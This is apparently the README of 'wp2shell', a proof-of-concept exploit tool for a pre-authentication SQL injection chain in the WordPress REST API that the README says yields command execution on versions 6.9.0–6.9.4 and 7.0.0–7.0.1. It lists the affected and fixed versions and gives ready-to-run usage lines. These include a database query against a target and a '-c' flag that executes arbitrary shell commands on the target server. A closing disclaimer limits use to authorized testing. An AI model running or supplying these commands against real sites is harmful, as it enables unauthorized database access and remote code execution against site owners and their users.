wp2shell PoC

The first ever poc of the pre-auth timing-based SQL injection PoC for the WordPress REST API batch-route confusion chain (CVE-2026-63030 + CVE-2026-60137)

Achieved command execution, without just trying to crack the admins password.

Affected: WordPress 6.9.0–6.9.4 and 7.0.0–7.0.1. Fixed in 6.9.5 and 7.0.2.

python3 poc.py https://target.example
python3 poc.py https://target.example 'SELECT DATABASE()'
python3 poc.py https://target.example -c "echo "you got pwned" > /tmp/pwned.txt && id"

Research: Searchlight Cyber · Aikido · Aikido Intel · WordPress

Disclaimer: This proof of concept is provided solely for authorized educational, security research, and incident response purposes; meaning, use it only on systems you own or have explicit permission to test.